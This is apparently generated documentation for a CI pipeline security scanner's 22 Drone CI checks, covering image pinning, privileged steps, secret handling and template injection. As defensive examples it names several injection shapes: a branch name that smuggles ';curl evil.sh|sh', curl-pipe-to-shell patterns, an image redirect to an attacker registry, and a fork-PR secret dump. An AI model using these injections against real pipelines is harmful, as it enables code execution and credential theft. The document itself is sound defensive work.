Skip to content

Drone CI provider

Parses .drone.yml / .drone.yaml documents on disk. Drone pipelines are multi-document YAML; each document is a top-level pipeline gated by a kind: pipeline discriminator and a type: (docker, kubernetes, ssh, exec, digitalocean). The rule pack focuses on the container-flavored types (docker / kubernetes); ssh / exec / digitalocean pipelines have no container surface and most rules pass-by-default on them.

Producer workflow

# --drone-path is auto-detected when .drone.yml or .drone.yaml exists at cwd.
pipeline_check --pipeline drone

# ...or pass it explicitly.
pipeline_check --pipeline drone --drone-path .drone.yml

# A directory of services with one .drone.yml each.
pipeline_check --pipeline drone --drone-path services/

All other flags (--output, --severity-threshold, --checks, --standard, ...) behave the same as with the other providers.

Drone-specific checks

  • DR-002, privileged: true is a step-scoped switch that removes the container's syscall and capability boundary, giving the step kernel-level access to the agent host. Most workloads reaching for it can use a rootless alternative (buildx, kaniko, buildah); when DR-002 fires, treat it as a build-system review item rather than a quick fix.
  • DR-003, Drone substitutes ${DRONE_*} template variables before the shell parses the script. Author- controllable variables (DRONE_COMMIT_MESSAGE, DRONE_PULL_REQUEST_TITLE, branch / repo names in fork PRs, tag annotations) are tainted; an unquoted use is a command-injection primitive. Same model as TKN-003 / ARGO-005 / BK-003 in this catalog.
  • DR-005, plugin steps (steps with a settings: block) are a sharper attack surface than ordinary steps because Drone passes every settings: key to the plugin as an env var, including any secret references. The rule fires specifically on plugin steps using a floating image tag, so a maintainer can ratchet plugin pinning up first.

What it covers

22 checks · 2 have an autofix patch (--fix).

Check Title Severity Fix
DR-001 Step image not pinned to a digest HIGH
DR-002 Step runs with privileged: true HIGH
DR-003 Untrusted Drone template variable in shell command HIGH
DR-004 Literal credential in step environment / settings CRITICAL
DR-005 Plugin step uses a floating image tag HIGH
DR-006 TLS verification disabled in step commands HIGH 🔧 fix
DR-007 Step mounts a sensitive host path HIGH
DR-008 Step uses pull: never (skips registry verification) MEDIUM
DR-009 Cache plugin key embeds an attacker-controllable Drone variable HIGH
DR-010 Step commands run unpinned package installs MEDIUM
DR-011 node map interpolates attacker-controllable Drone variable HIGH
DR-012 Service container image not pinned to digest HIGH
DR-013 Pipeline defines no trigger event filter MEDIUM
DR-014 Step pipes a remote download into a shell interpreter HIGH 🔧 fix
DR-015 Pipeline clone enables recursive submodule cloning MEDIUM
DR-016 Step image: field carries a Drone template substitution HIGH
DR-017 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
DR-018 Secret-named variable echoed / printed in a step command HIGH
DR-019 Artifacts not signed (no cosign/sigstore step) MEDIUM
DR-020 No SBOM produced (no syft / cyclonedx step) MEDIUM
DR-021 No SLSA provenance attestation produced MEDIUM
DR-022 No vulnerability-scan step (trivy / grype / snyk) MEDIUM

DR-001: Step image not pinned to a digest

HIGH CICD-SEC-3 ESF-S-IMMUTABLE CWE-1357

Detection mirrors the GL-001 / JF-009 / ADO-009 / CC-003 family: any container image: whose ref doesn't end in @sha256:<64 hex> fires. :latest and missing-tag references emit the strongest message; a specific-version tag (golang:1.21.5) still fires but can be fixed with a one-line digest swap. The rule scopes itself to type: docker / kubernetes pipelines (the container-flavored ones); ssh / exec / digitalocean pipelines have no image: field and pass-by-default.

Known false-positive modes

  • Local-build images (image: my-org/build-tools:dev produced upstream in the same pipeline) sometimes can't be digest-pinned because the digest depends on the build. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the floating-tag risk still applies to every public-registry pull.

Recommended action

Pin every step image: (and every services: image) to @sha256:<digest>. Drone resolves the image ref at run time, so a tag like golang:1.21 resolves against whatever the registry currently serves and a compromised registry can swap content under a fixed tag. Capture the digest once with docker buildx imagetools inspect golang:1.21 (or crane digest golang:1.21) and update the digest deliberately when the upstream version moves.

DR-002: Step runs with privileged: true

HIGH CICD-SEC-5 ESF-D-RUNTIME-HARDENING ESF-D-LEAST-PRIV CWE-269 CWE-250

Drone's privileged: true is a step-scoped switch that maps directly to docker run --privileged. The rule fires on either steps or services declaring the flag. The agent admin can also globally allow / deny privileged steps via the trusted-flag on the repository, the rule doesn't try to reach into Drone's server config and assumes the worst (a malicious or accidentally-trusted repo) so a privileged: true in source is always a finding.

Recommended action

Drop privileged: true from the step. The flag removes the container's syscall and capability boundary, giving the step kernel-level access to the agent host. Most workloads that reach for it are Docker-in-Docker pipelines that can use a rootless alternative (buildx, kaniko, buildah --isolation=chroot) instead. If the workload genuinely needs syscalls, scope down with explicit cap_add: [SYS_ADMIN] and an isolated runner pool, rather than blanket privileged.

DR-003: Untrusted Drone template variable in shell command

HIGH CICD-SEC-4 CICD-SEC-1 ESF-D-RUNTIME-HARDENING CWE-78

User-controllable substitution sources flagged by this rule:

  • DRONE_COMMIT_MESSAGE / DRONE_COMMIT_AUTHOR*
  • DRONE_PULL_REQUEST_TITLE / DRONE_PULL_REQUEST_BRANCH
  • DRONE_TAG_MESSAGE (tag annotations are author-controlled)
  • DRONE_BRANCH / DRONE_SOURCE_BRANCH / DRONE_TARGET_BRANCH (branch names are pushable, so an attacker can craft a name like ;curl evil.sh|sh)
  • DRONE_REPO_* (in fork PRs the repo metadata comes from the fork)

The rule only fires on unquoted uses inside a command body. Quoted ("${DRONE_*}") or single-quoted uses are safe in POSIX shell because the substitution runs after Drone's templating but the shell still tokenizes the expanded value as a single argument. Same model as the Tekton TKN-003 / Argo ARGO-005 / Buildkite BK-003 rules in this catalog.

Known false-positive modes

  • Trusted-only Drone variables (DRONE_BUILD_NUMBER, DRONE_BUILD_STATUS, DRONE_REPO_NAMESPACE for non-fork repos) aren't user-controllable and are safe to interpolate unquoted. Drone-template syntax can also appear in YAML strings outside commands:; this rule only scopes itself to step command bodies, so an unquoted use in (say) settings.message: doesn't fire here, those land under DR-004 / SBOM-style audits.

Recommended action

Treat user-controllable Drone template variables as tainted. Drone substitutes ${DRONE_*} tokens before the shell parses the command, so an unquoted use is a textbook command-injection primitive. The safe pattern is to copy the value into the step's environment: block (MSG: ${DRONE_PULL_REQUEST_TITLE}) and reference the env var quoted in the command (echo "$MSG"). Drone's own docs call out the same hardening for build-message / commit-author fields.

DR-004: Literal credential in step environment / settings

CRITICAL CICD-SEC-6 CICD-SEC-7 ESF-D-SECRETS CWE-798 CWE-321

The rule fires on credential-shaped values where the key name suggests a secret (token, password, secret, key, apikey, api_key, access_key, private_key, auth, credentials) and the value is a plain string rather than a {from_secret: NAME} reference. AWS-style AKIA... keys also fire regardless of the key name (matching the AWS canonical access-key shape). Empty strings and the explicit literal null are not flagged: an empty value is a configuration bug, not a leaked credential. Same model as BK-002 / TKN-005 / ARGO-006 in this catalog.

Known false-positive modes

  • Configuration values that happen to use a credential-shaped key name but never carry a secret (DOCKER_CONFIG=/dev/null to suppress credential loading) sometimes trip this rule. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the broader credential-vocab match still catches real leaks elsewhere in the pipeline.

Recommended action

Move every literal credential into a Drone secret (drone secret add --repository OWNER/REPO --name MY_SECRET --value ...) and reference it via the from_secret: mechanism: MY_SECRET: { from_secret: MY_SECRET }. The same applies to plugin settings: blocks. Drone redacts from_secret values from log output but does NOT redact literals, so a pasted token in source ends up in the build log indefinitely.

DR-005: Plugin step uses a floating image tag

HIGH CICD-SEC-3 ESF-S-IMMUTABLE ESF-D-RUNTIME-HARDENING CWE-1357 CWE-829

Drone treats a step as a plugin when it has a settings: block. The image: field still names the container that runs, and the same supply-chain argument as DR-001 applies; this rule fires specifically on plugin steps using a floating tag (:latest, no tag, or a non-version-shaped tag) rather than every unpinned image, so a maintainer weighing trade-offs can ratchet plugin pinning up first. A pinned-version tag (plugins/docker:20.13.0) passes this rule but still trips DR-001 for the wider supply-chain hardening.

Known false-positive modes

  • Internal-registry plugins built and pushed by the same pipeline (image: my-org/internal-plugin:dev produced upstream) sometimes can't be exact-pinned. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape.

Recommended action

Pin every plugin step's image: to @sha256:<digest> or, at minimum, a specific version tag (plugins/docker:20.13.0 rather than plugins/docker:latest or plugins/docker). Plugin steps are a sharper attack surface than ordinary steps because Drone passes every settings: key to the plugin as an environment variable, including any secret references; a malicious plugin replacement can exfiltrate the entire credential set the step was trusted with.

DR-006: TLS verification disabled in step commands

HIGH 🔧 autofix CICD-SEC-3 CICD-SEC-1 ESF-D-RUNTIME-HARDENING CWE-295 CWE-494

Uses the cross-provider _primitives.tls_bypass detector shared with GHA-027, BK-008, JF-022, ADO-026, CC-024, GCB-011, and the CFN / Terraform rule packs. Covers curl / wget / git / npm / yarn / pip / helm / kubectl / ssh / docker / maven / gradle / aws bypasses. The rule scans every commands: entry on every step.

Recommended action

Remove TLS-bypass flags from build commands. The most common offenders are curl --insecure / -k / wget --no-check-certificate, pip config set global.trusted-host, npm config set strict-ssl false, and git -c http.sslverify=false. Each exposes the build to TLS-MITM injection of a registry-served payload, which is a textbook supply-chain attack vector. If a registry's certificate is genuinely broken, fix the registry rather than permanently disabling verification, the bypass tends to outlive the broken cert and become a permanent weakness.

DR-007: Step mounts a sensitive host path

HIGH CICD-SEC-5 ESF-D-RUNTIME-HARDENING ESF-D-LEAST-PRIV CWE-250 CWE-732

Drone's pipeline-level volumes: block accepts either temp: (an ephemeral tmpfs, safe) or host: { path: ... } (a bind mount of the agent's filesystem, the dangerous shape). The rule fires when any pipeline-level volume's host.path matches a sensitive prefix:

  • /var/run/docker.sock — the canonical Docker-in-Docker escape; equivalent to --privileged for container takeover purposes;
  • /var/lib/docker — exposes every image / container on the host;
  • /etc — config + credential files;
  • /proc / /sys — host kernel state;
  • / — full host takeover.

The rule fires on the volume declaration, not on step-level mounts. A pipeline that declares a sensitive host volume but no step actually mounts it is still flagged: the declaration alone signals the agent's Drone runner is configured to permit the bind mount, which is itself a risk-shape decision worth review.

Known false-positive modes

  • Trusted-only pipelines on a dedicated runner fleet (no fork-PR access, no untrusted contributors) sometimes deliberately mount the Docker socket for image build / push workflows. Suppress via ignore-file when this is the deliberate posture and the runner pool's isolation is documented elsewhere; the rule has no way to know whether trusted: true is set on the repo from the pipeline YAML alone.

Recommended action

Drop the host volume from the pipeline. Mounting /var/run/docker.sock from the agent host into a build container hands the container root-equivalent control over every other workload on the same agent (it can spawn arbitrary containers, including privileged ones). /var/lib/docker exposes every image and container on the host, /proc and /sys expose the host kernel state, and / (the host root) is full takeover. If the build genuinely needs Docker, run a rootless alternative (kaniko, buildah --isolation=chroot, docker buildx against a remote builder) or use Drone's trusted: true repo flag plus a dedicated host-isolated runner pool, rather than mounting the shared host's socket.

DR-008: Step uses pull: never (skips registry verification)

MEDIUM CICD-SEC-3 ESF-S-IMMUTABLE CWE-1357

Drone supports three pull: policies on a step: always (re-fetch + verify on every build, the default), if-not-exists (use cache when present, otherwise pull), and never (use cache only). The never policy is the dangerous one because it skips the digest verification an always pull would perform, and there's no out-of-band signal that the cached image is the one the manifest names. The rule fires on either steps or services declaring pull: never. pull: if-not-exists is treated as acceptable: it's tolerable when paired with a digest-pinned image: (DR-001) and a deliberate operational decision; the explicit-skip case (never) is what TAINT-class supply-chain attacks lean on.

Known false-positive modes

  • Air-gapped or registry-pinned environments sometimes set pull: never deliberately because the agent never has registry access in the first place. Suppress via ignore-file when this is the deliberate shape; the runner's network isolation then carries the integrity guarantee instead of the registry round-trip.

Recommended action

Drop the pull: never directive (or change it to pull: always / pull: if-not-exists). pull: never tells the Drone agent to skip the registry round-trip entirely, so the agent runs whatever image bytes it cached on a previous build without re-verifying the digest. If a compromised image ever landed in the agent's local cache (a poisoned registry tag, a manual docker pull during a debug session, a co-resident workload that pulled a malicious image), the cached bytes keep running until an operator manually clears the cache. pull: always (the Drone default) re-fetches and verifies on every build; pull: if-not-exists is acceptable when the image is digest-pinned (DR-001) so the cache key is content-addressed.

DR-009: Cache plugin key embeds an attacker-controllable Drone variable

HIGH CICD-SEC-1 CICD-SEC-3 ESF-D-INJECTION ESF-S-IMMUTABLE CWE-349

Drone has no first-party cache keyword; pipelines use plugin steps (drone-cache, drone-volume-cache, drone-s3-cache, etc.) configured via settings:. The rule fires on any plugin step whose settings.cache_key (or related key, mount, filename, restore_keys) interpolates a tainted Drone variable. Tainted vocabulary mirrors DR-003: $DRONE_BRANCH, $DRONE_PULL_REQUEST*, $DRONE_COMMIT_*MESSAGE, $DRONE_TAG_MESSAGE, and the fork-PR-shaped $DRONE_REPO_* family. The attack model is well-documented (GHA-011 catches the same shape on the GitHub Actions side).

Known false-positive modes

  • Plugins that namespace cache reads by branch on the write side and never read across branches (a deliberate cache partitioning) are technically safe, the attacker can poison their own branch's cache but can't reach the trusted-branch one. The rule has no way to verify partition boundaries at scan time; suppress via ignore-file scoped to the specific step name when the partitioning is audited.

Recommended action

Don't embed PR-controlled or branch-controlled Drone variables in cache keys. The canonical safe shape is to key on commit-stable inputs only: a checksum of the lockfile (${DRONE_REPO_BRANCH}-${DRONE_COMMIT_SHA} is unique enough; ${DRONE_BRANCH} alone is attacker-controllable). When two builds need to share a cache, key on the dependency manifest's hash, not on any branch / PR / repo metadata that a fork PR can shape. If a fork PR's cache write can ever be read back by a trusted-context build (the same key on a different branch), the attacker can inject malicious build artifacts into the trusted run.

DR-010: Step commands run unpinned package installs

MEDIUM CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-VERIFY-DEPS CWE-829 CWE-1357

Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. The same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket Pipelines / Azure DevOps / Jenkins / CircleCI / Google Cloud Build / Buildkite / Tekton / Argo. Drone was the missing port; this closes the gap.

Insecure variants matched (PKG_INSECURE_RE): pip --index-url http://, pip --trusted-host, npm --registry http://, gem --source http://, nuget --Source http://, cargo --index http://. Lockfile-bypass variants (PKG_NO_LOCKFILE_RE): npm install (should be npm ci), bare pip install <pkg> without -r or --require-hashes, yarn install without --frozen-lockfile, bundle install without --frozen, cargo install, go install without an @vN.N pin, poetry install without --no-update.

Known false-positive modes

  • Bootstrap-stage installs that intentionally pull latest (apt-get install -y curl for a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the broader pinning policy still covers the rest of the pipeline.

Recommended action

Pin every package install to a lockfile or a checksum-verified version. For pip, use pip install --require-hashes -r requirements.txt or -r requirements.txt with hashes baked into the lock; pip install <package> without a version pin or lockfile flag is the unsafe shape. For npm, prefer npm ci over npm install so the lockfile is load-bearing. Yarn: yarn install --frozen-lockfile. Bundle: bundle install --frozen. Cargo / go install: always pin to a tag or commit. Do NOT use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (DR-006 covers the TLS subset; this rule covers the lockfile subset).

DR-011: node map interpolates attacker-controllable Drone variable

HIGH CICD-SEC-7 CICD-SEC-1 ESF-D-CODE-INTEGRITY ESF-S-RUNNER-ISOLATION CWE-78 CWE-1357

Drone substitutes ${VAR} template tokens against the build context before the runner picks an agent. The rule walks the pipeline-level node: map (Drone doesn't expose a per-step variant) for any reference to the same author-controllable variables DR-003 tracks (DRONE_BRANCH, DRONE_TAG, DRONE_PULL_REQUEST_*, DRONE_COMMIT_AUTHOR*, DRONE_COMMIT_MESSAGE, DRONE_REPO).

Detection is value-only and case-sensitive against the documented variable names; trusted server-controlled fields like DRONE_BUILD_NUMBER and DRONE_REPO_NAMESPACE (for non-fork repos) aren't on the tainted list. Closes parity with BK-015 / GHA-036 / GL-032 / JF-032 / ADO-030 / CC-031.

Known false-positive modes

  • Some teams use a static prefix plus a CI-controlled tail (node: { pool: build-${DRONE_REPO_NAME} }) to share a runner pool across repos. DRONE_REPO_NAME is set by the server, not the pusher, so it isn't on the tainted list, but if your team has its own conventions for trusted Drone vars, suppress on the specific pipeline name.

Recommended action

Pin every node: map entry to a static literal that matches your runner-targeting policy. Drone uses node: to route a pipeline to runners with matching labels (e.g. node: { instance: ci-prod-amd64 }). When the map value interpolates ${DRONE_BRANCH} / ${DRONE_PULL_REQUEST_*} / ${DRONE_COMMIT_AUTHOR}, the pusher gets to pick which runner pool runs the pipeline, including a privileged pool reserved for the deploy step. Production runner pools should also carry a label the agent itself enforces (the runner's DRONE_RUNNER_LABELS env var, plus a server-side policy on which repos can target which labels) so the rule is one layer of defense-in-depth.

DR-012: Service container image not pinned to digest

HIGH CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-IMMUTABLE CWE-829

Iterates services: on every container-flavored pipeline (type: docker / kubernetes) and fires when a service's image: value is missing the @sha256:<digest> immutable-pin suffix. Service containers run with the same network access as the pipeline's steps but are typically left at floating tags (postgres:15, redis:7) because convention follows the application's docker-compose files; the build-time supply-chain risk is identical to DR-001's surface.

Known false-positive modes

  • Dev / fixture pipelines that intentionally track the upstream service's latest minor for compatibility testing may legitimately use a tag pin. Suppress per service with a one-line rationale; production-shaped pipelines should not be suppressed.

Seen in the wild

  • Mirrors DR-001 / DR-005 (step image / plugin pinning) and BK-001 / TKN-001 / ARGO-001 in the equivalent patterns: every container in the pipeline's blast radius should resolve through an immutable digest, not a floating tag the upstream registry can re-resolve.

Recommended action

Pin every entry under services: to an immutable digest (image: postgres@sha256:<64-hex>). Drone's services: block declares sidecar containers that run alongside the pipeline (databases, message brokers, object stores used by integration tests); they pull from the same registries as steps: containers and share the same patch-release-smuggle exposure window. The existing DR-001 only audits steps:, so a pipeline with SHA-pinned steps and tag-pinned services has half the supply-chain control surface.

DR-013: Pipeline defines no trigger event filter

MEDIUM CICD-SEC-1 CICD-SEC-4 ESF-S-CHANGE-CONTROL CWE-862

Fires when trigger: is missing from the pipeline document OR when trigger.event lists pull_request without an offsetting trigger.event.exclude for the same. Pipelines that explicitly opt into PR builds with secret-handling gating (when.event per-step + protected repo flag) are uncatchable from the YAML alone; suppress per pipeline with a one-line rationale when the operator knows the runner configuration.

Distinct from DR-003 (parameter injection at step level): this rule audits the pipeline's event trigger surface; DR-003 audits the step's command substitution surface.

Known false-positive modes

  • Dev / fixture pipelines that intentionally run on every event (a CI hygiene smoke test, a markdown linter that's safe on untrusted forks) trip this rule by design. Suppress per pipeline with a rationale naming the intentional event scope.

Seen in the wild

  • Drone CI fork-PR token leakage pattern: a pipeline with no trigger: runs on pull_request events from any fork. A malicious contributor opens a PR that modifies a step to dump $DRONE_NETRC_PASSWORD (or any other CI-injected secret) into the build log; the log is public on Drone's UI; the credential is harvested.

Recommended action

Add a trigger: block scoping every pipeline to the events / branches / refs that should run it. The two high-value patterns are:

  • Trusted-events-only for deploy pipelines:

    trigger: event: [push, tag] branch: [main]

  • Deny-fork-PRs explicitly for credential-handling builds:

    trigger: event: exclude: [pull_request]

Without trigger:, the pipeline runs on every event Drone supports (push, pull_request, tag, cron, promotion, rollback). Pull requests from forks have access to the pipeline's secret table by default in Drone unless the repository is marked protected at the server level; even with protection, the trigger block is the in-file audit anchor that survives runner-config drift.

DR-014: Step pipes a remote download into a shell interpreter

HIGH 🔧 autofix CICD-SEC-3 CICD-SEC-5 ESF-S-VERIFY-DEPS CWE-494 CWE-78

Walks every commands: array on every step and fires on shell snippets matching one of the canonical pipe-to-shell shapes:

  • curl ... | sh
  • curl ... | bash
  • wget ... -O - | sh
  • wget ... | bash
  • fetch ... | sh (BSD variant)

Pattern recognition allows arbitrary intermediate flags so curl -fsSL <url> | sh -s -- --version=foo still matches. Plain curl <url> > installer.sh && sh installer.sh is NOT caught — the file lands on disk first, which means a checksum-verify step can be inserted between download and execution.

Known false-positive modes

  • Some vendor-published install scripts (rustup, nvm, brew install scripts) ship pipe-to-shell as the canonical install path. The rule fires anyway because the upstream's reputation doesn't eliminate the MITM / compromised-domain class of risk. Suppress per step with a one-line rationale naming the upstream and the operator's awareness of the unverified-pull posture.

Seen in the wild

  • Codecov bash uploader (April 2021): downstream builds using curl -fsSL https://codecov.io/bash | bash shipped a tampered uploader for two months. Every CI system without pipe-to-shell detection inherited the compromise; the audit trail relied on the bash scripts' own logging, which the malicious modification could and did suppress. https://about.codecov.io/security-update/

Recommended action

Replace every curl ... | sh / wget ... | bash pattern with a two-step download-and-verify flow:

  1. Download the artifact to disk: curl -fsSL -o installer.sh https://example.com/install.sh
  2. Verify a known-good checksum or signature against the downloaded file: echo "<expected-sha256> installer.sh" | sha256sum -c -
  3. Only then execute: sh installer.sh.

The pipe-to-shell pattern executes whatever bytes the URL serves at download time, with the step container's privileges. A network MITM, a compromised mirror, or an attacker who briefly takes over the upstream domain drops arbitrary code into the build with no verification step. Pinning the download to an exact version + checksum closes the gap. Mirrors GHA-016 / BK-017 / TKN-008 across providers.

DR-015: Pipeline clone enables recursive submodule cloning

MEDIUM CICD-SEC-3 CICD-SEC-5 ESF-S-VERIFY-DEPS CWE-1357 CWE-829

Reads pipeline.clone.recursive and fires when set to true. The default Drone clone behavior (disable: false + recursive absent) is single-level: the top-level repo only, no submodules. Explicit recursive: true opts into the failure mode the rule catches.

Drone's clone plugin runs before any pipeline step, so a malicious .gitmodules lands content on the runner before any user-defined verification can run. Disabling recursive cloning at the pipeline level moves the submodule fetch to an explicit step where URL allowlists and content verification are possible.

Known false-positive modes

  • Some monorepo layouts use submodules for shared internal code where the URLs are known-good (github.com//) and the convenience of recursive cloning outweighs the marginal risk. Suppress per pipeline with a one-line rationale naming the trust boundary of the submodule URLs.

Seen in the wild

  • Pattern of .gitattributes-driven shell hooks executing during recursive clone on CI runners. Documented attacker primitive in git's CVE history (CVE-2017-1000117 et al.). Recursive submodule clone amplifies the surface by pulling content from every URL in the dependency graph, not just the top-level repo.

Recommended action

Disable recursive submodule cloning at the pipeline level. Three remediation patterns:

  • For repos that don't use submodules:

    clone: disable: false depth: 50

  • For repos that use submodules but pin them at known commit SHAs:

    clone: disable: false recursive: false # default; clone submodules explicitly per-step

  • For repos that genuinely need recursive submodules at clone time, restrict via a custom clone step that verifies the submodule URLs against an allowlist before git submodule update --init --recursive.

Recursive submodule cloning pulls every .gitmodules-declared dependency at clone time, before any step has a chance to audit the pulled content. If a contributor adds a malicious .gitmodules entry pointing at an attacker-controlled URL, the pull happens with the runner's filesystem privileges. The fetched content can include .gitattributes with filter-driven shell hooks that execute at clone time on Drone's runner.

DR-016: Step image: field carries a Drone template substitution

HIGH CICD-SEC-3 CICD-SEC-5 ESF-S-PIN-DEPS CWE-829 CWE-94

Walks every image: field (steps + services) and fires when the value contains a ${...} template expression. Drone resolves these against the pipeline's environment + build-context table before image pull, so any variable that's caller-controllable becomes an image-name injection primitive.

Distinct from DR-001 (image not digest-pinned), which audits the immutability shape of the resolved image reference. This rule fires before that resolution can happen: a templated image is unauditable at scan time regardless of whether the resolution happens to land on a digest-pinned shape.

Known false-positive modes

  • Some monorepo layouts use Drone template substitution to pick service-team-specific images (image: ${SERVICE_TEAM}-base:1.0). The rule fires regardless because the resolution-time substitution isn't auditable. Suppress per step / service with a rationale naming the substitution variable's trust source.

Seen in the wild

  • Image-name injection pattern: a Drone pipeline with image: ${DRONE_DEPLOY_TO}-runner:latest is triggered via the Drone API with DRONE_DEPLOY_TO=attacker.registry.example.com/ — the resolved image is pulled from the attacker's registry and the runner executes attacker-controlled code. Documented as a real attack surface in audits of self-hosted Drone deployments with public API exposure.

Recommended action

Replace the templated image: value with a literal digest-pinned reference. Drone expands ${DRONE_BUILD_*}, ${DRONE_COMMIT_*}, and other build-context variables before the runner pulls the image — including variables that PR authors or promotion-script operators can influence (DRONE_TAG, DRONE_TARGET_BRANCH, DRONE_DEPLOY_TO, custom promotion parameters). A contributor who controls one of those values can redirect the image fetch to an attacker-controlled registry / tag combination.

If the build genuinely needs to swap images per environment, pin each variant explicitly and select via when: predicates:

steps:
  - name: deploy-staging
    image: myregistry/deploy:1.2.3@sha256:abc...
    when: { branch: [staging] }
  - name: deploy-prod
    image: myregistry/deploy:1.2.3@sha256:def...
    when: { branch: [main] }

The literal image references are immutable; the when: block controls execution without exposing the image identity to PR-controllable input.

DR-017: Dangerous shell idiom (eval, sh -c variable, backtick exec)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-95

Complements DR-003 (untrusted ${DRONE_*} variable in a command). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted, because the idiom hands a value full shell-grammar reach. Uses the shared _primitives.shell_eval detector and scans every commands: entry on every step. The Drone analog of GHA-028 / GL-026 / BB-026 / ADO-027 / CC-027 / BK-016.

Known false-positive modes

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Recommended action

Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.

DR-018: Secret-named variable echoed / printed in a step command

HIGH CICD-SEC-6 ESF-D-SECRETS CWE-532 CWE-200

Scans every commands: entry on every step for a secret-named variable handed to echo / printf / cat / tee, for an env / printenv dump, and for set -x with a secret-named variable in scope (the shared log_leak detector, with GHA-033 / GL-036 / BB-032 / ADO-031 / CC-032 / JF-042 / HARNESS-013). Variable names matching common secret patterns (PASSWORD / TOKEN / SECRET / API_KEY / CREDENTIAL) trigger the rule. Only container-flavored pipelines (which carry a shell command surface) are scanned. The Drone analog of GL-036 / CC-032.

Recommended action

Don't print secret values in step commands. Drone masks the values of named secrets in the log, but only the exact string. Encoded, truncated, or derived forms bypass the mask, and set -x / env / printenv dump the raw value before masking can catch it. Log a boolean instead ([ -n "$TOKEN" ] && echo set || echo unset), and avoid set -x while a credential variable is in scope.

DR-019: Artifacts not signed (no cosign/sigstore step)

MEDIUM CICD-SEC-9 ESF-D-SIGN-ARTIFACTS CWE-345

Detection mirrors GHA-006 / BK-009 / CC-006 / TKN-009, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (those that invoke docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-009 / TKN-009.

Recommended action

Add a signing step after the build: install cosign in the step image and call cosign sign --yes <repo>@sha256:<digest> so a re-pushed tag can't bypass the signature. Publish the signature alongside the artifact and verify it at consumption time.

DR-020: No SBOM produced (no syft / cyclonedx step)

MEDIUM CICD-SEC-9 ESF-S-SBOM CWE-1357

Detection mirrors GHA-007 / BK-010 / CC-007 / TKN-010, the shared SBOM-token catalog (syft, cyclonedx, spdx, bom, trivy sbom) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / kaniko / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-010 / TKN-010.

Recommended action

Generate a Software Bill of Materials as part of the build: run syft <image> -o cyclonedx-json (or cyclonedx / spdx tooling) and publish it alongside the artifact, so consumers can audit the components and respond to new CVEs without rebuilding.

DR-021: No SLSA provenance attestation produced

MEDIUM CICD-SEC-9 ESF-S-PROVENANCE CWE-345

Detection mirrors GHA-024 / BK-011 / CC-024 / TKN-011, the shared provenance-token catalog (slsa, provenance, in-toto, attestation, cosign attest) is searched across every string in the pipeline document. The rule only fires on artifact-producing pipelines (docker build / docker push / buildah / etc.) so lint / test-only pipelines don't trip it. The Drone analog of BK-011 / TKN-011.

Recommended action

Emit a signed SLSA provenance attestation for the build: use cosign attest --predicate with an in-toto / SLSA predicate, or a provenance generator, so a verifier can confirm which pipeline and source revision produced the artifact.

DR-022: No vulnerability-scan step (trivy / grype / snyk)

MEDIUM CICD-SEC-9 ESF-D-VULN-SCAN CWE-1104

Detection mirrors GHA-020 / BK-012 / CC-020 / TKN-012, the shared scanner-token catalog (trivy, grype, snyk, clair, npm audit, pip-audit, etc.) is searched across every string in the pipeline document. Fires on any pipeline that runs no scanner (the build ships without a CVE signal). The Drone analog of BK-012 / TKN-012.

Recommended action

Add a vulnerability-scan step to the build: trivy, grype, snyk, npm audit, or pip-audit over the image or dependency tree, and fail the build on findings above your threshold so known CVEs don't ship to production silently.


Adding a new Drone CI check

  1. Create a new module at pipeline_check/core/checks/drone/rules/drNNN_<name>.py exporting a top-level RULE = Rule(...) and a check(pipeline: Pipeline) -> Finding function. The orchestrator auto-discovers RULE and calls check with the Pipeline.
  2. Add a mapping for the new ID in pipeline_check/core/standards/data/owasp_cicd_top_10.py (and any other standard that applies).
  3. Drop unsafe/safe snippets at tests/fixtures/per_check/drone/DR-NNN.{unsafe,safe}.yml and add a CheckCase entry in tests/test_per_check_real_examples.py::CASES.
  4. Regenerate this doc:
python scripts/gen_provider_docs.py drone